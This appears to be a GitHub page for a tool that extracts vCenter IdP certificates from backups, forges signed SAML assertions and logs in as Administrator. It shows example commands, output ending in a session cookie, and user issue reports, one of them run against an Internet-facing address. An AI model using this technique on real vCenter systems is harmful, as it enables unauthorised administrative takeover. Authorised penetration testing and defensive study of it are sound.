A tool to extract the Identity Provider (IdP) cert from vCenter backups and log in as Administrator
Commonly, during engagements, we will gain access to vCenter backups on a fileserver or gain root access to the VCSA host through recent CVEs. Logging into the vCenter vSphere UI allows us to easily gain access to more systems, confidential information, as well as show customers the impact of these findings.
The data.mdb file contains the certificates and can be found within vCenter backups as well as on the VCSA host with root permissions. These certificates are stored in cleartext and can be used to sign any SAML authentication request for any user - including the builtin Administrator.
If you'd like to know more about several use cases for this tool and how we've used it to gain Administrative access to vCenter hosts check out our blog post: https://www.horizon3.ai/compromising-vcenter-via-saml-certificates/
[email protected]:~/vcenter# python3 vcenter_saml_login.py -p data.mdb -t 10.0.100.200
[*] Successfully extracted the IdP certificate
[*] Successfully extracted trusted certificate 1
[*] Successfully extracted trusted certificate 2
[*] Obtaining hostname from vCenter SSL certificate
[*] Found hostname vcsa.olympus for 10.0.100.200
[*] Initiating SAML request with 10.0.100.200
[*] Generating SAML assertion
[*] Signing the SAML assertion
[*] Attempting to log into vCenter with the signed SAML request
[+] Successfuly obtained Administrator cookie for 10.0.100.200!
[+] Cookie: VSPHERE-UI-JSESSIONID=06D1630719B4DE33A4CE653458911640
With the above cookie, visit the VCSA instance at https://\
This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly.
bug fix
i use vcenter_saml_login.py, but it Error
Then i see the #13 and use it py, but Error too
Did anyone else have issues with "Failed signing the SAML assertion"?
```
python3 vcenter_saml_login.py -p data.mdb -t
[] Successfully extracted the IdP certificate
[!] Looking for cert 1 at position: 69734592
[!] CN end position: 69735640
[] CN: cn=TrustedCertChain-1,cn=TrustedCertificateChains,cn=
[] Successfully extracted trusted certificate 1 Cert 2 Size: 1053 [] Extracted Trusted certificate: -----BEGIN CERTIFICATE----- ... -----END CERTIFICATE-----
[] Successfully extracted trusted certificate 2
[] Obtaining hostname from vCenter SSL certificate
[] Found hostname
```
I get the same error when trying to "check" the key with openssl:
``` openssl rsa -in private.key -check
unable to load Private Key 139866836145536:error:0D0680A8:asn1 encoding routines:asn1_check_tlen:wrong tag:../crypto/asn1/tasn_dec.c:1149: 139866836145536:error:0D06C03A:asn1 encoding routines:asn1_d2i_ex_primitive:nested asn1 error:../crypto/asn1/tasn_dec.c:713: 139866836145536:error:0D08303A:asn1 encoding routines:asn1_template_noexp_d2i:nested asn1 error:../crypto/asn1/tasn_dec.c:646:Field=version, Type=PKCS8_PRIV_KEY_INFO 139866836145536:error:0907B00D:PEM routines:PEM_read_bio_PrivateKey:ASN1 lib:../crypto/pem/pem_pkey.c:88: ```
I decrypt the cookie using the script and can't log in vcenter
This should differentiate better between keys and certificates by adding a validation function for both. Probably fixes #6
Thanks for adding the license.
[email protected]:~/CVE-2021-22005-exp# python3 vcenter_saml_login.py -p data.mdb -t xxx.xx.xxx.xxx
[] Successfully extracted the IdP certificate
[] CN: cn=TrustedCertChain-1,cn=TrustedCertificateChains,CN=e4ed3720-803d-4d2e-bbd1-3b5221182357,CN=Ldus,CN=ComponentManager,DC=vsphere,DC=local
[] Domain: vsphere.local
[] Successfully extracted trusted certificate 1
[] Successfully extracted trusted certificate 2
[] Obtaining hostname from vCenter SSL certificate
[] Found hostname vcenter.tech.zone for xxx.xx.xxx.xxx
[] Initiating SAML request with xxx.xx.xxx.xxx
[] Generating SAML assertion
[] Signing the SAML assertion
[*] Attempting to log into vCenter with the signed SAML request
[-] Failed logging in with SAML request
Traceback (most recent call last):
File "/root/CVE-2021-22005-exp/vcenter_saml_login.py", line 350, in
xxx.xx.xxx.xxx Is an Internet IP
AI-powered Pen Tests. See your enterprise through the eyes of an attacker & fix what matters.
GitHub Repository